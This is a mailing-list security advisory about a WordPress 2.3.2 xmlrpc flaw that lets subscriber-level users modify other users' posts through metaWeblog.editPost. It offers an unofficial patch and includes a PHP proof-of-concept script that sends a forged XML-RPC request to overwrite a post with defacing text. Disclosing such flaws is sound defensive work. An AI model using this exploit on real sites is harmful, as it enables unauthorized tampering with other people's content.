The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
WordPress metaWeblog.editPost Post Arbitrary Modification (xmlrpc,
Exploit, Patch)
------------------------------------------------------------------------
SUMMARY
<http://wordpress.org/> WordPress is "a state-of-the-art semantic
personal publishing platform with a focus on aesthetics, web standards,
and usability". A vulnerability in the way Wordpress handles the
metaWeblog.editPost allows remote attackers that have just subscriber
privileges to modify the posts of other users.
DETAILS
Vulnerable Systems:
* Wordpress version 2.3.2
Workaround:
To prevent the xmlrpc engine from modifying posts without verifying
whether the person has rights to do so or not modify the following PHP
code:
if ( ('post' == $post_type ) && !current_user_can('edit_post', $post_ID) )
return new IXR_Error(401, __('Sorry, you can not edit this
post.'));
To include:
if ( (1 || 'post' == $post_type ) && !current_user_can('edit_post',
$post_ID) )
return new IXR_Error(401, __('Sorry, you can not edit this
post.'));
Of course the patch is not official, and would probably break other stuff
- but security is our number one priority, as a side note version 2.0.x
doesn't have that 'post' == ... test.
Exploit:
<?php
/**
* POC : XMLRPC Hack
*
*/
$host = ''; // blog url
$page = '/xmlrpc.php';
$data = '<?xml version="1.0" ?>
<methodCall>
<methodName>metaWeblog.editPost</methodName>
<params>
<value>
<i4>post_ID</i4>
</value>
<value>
<string>username</string>
</value>
<value>
<string>password</string>
</value>
<struct>
<member>
<name>post_type</name>
<value>page</value>
</member>
<member>
<name>title</name>
<value>
<string>Pwnd</string>
</value>
</member>
<member>
<name>description</name>
<value>Whoo is ma biatch</value>
</member>
</struct>
</params>
</methodCall>';
$exploited = fsockopen($host, 80, $errorNumber, $errorString);
$requestHeader = $method." ".$page." HTTP/1.1\r\n";
$requestHeader.= "Host: ".$host."\r\n";
$requestHeader.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT
5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
$requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n";
$requestHeader.= "Content-Length: ".strlen($data)."\r\n";
$requestHeader.= "Connection: close\r\n\r\n";
$requestHeader.= $data;
fwrite($exploited, $requestHeader );
echo 'done ;)';
?>
ADDITIONAL INFORMATION
The information has been provided by Paul (Yabba) Jones.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
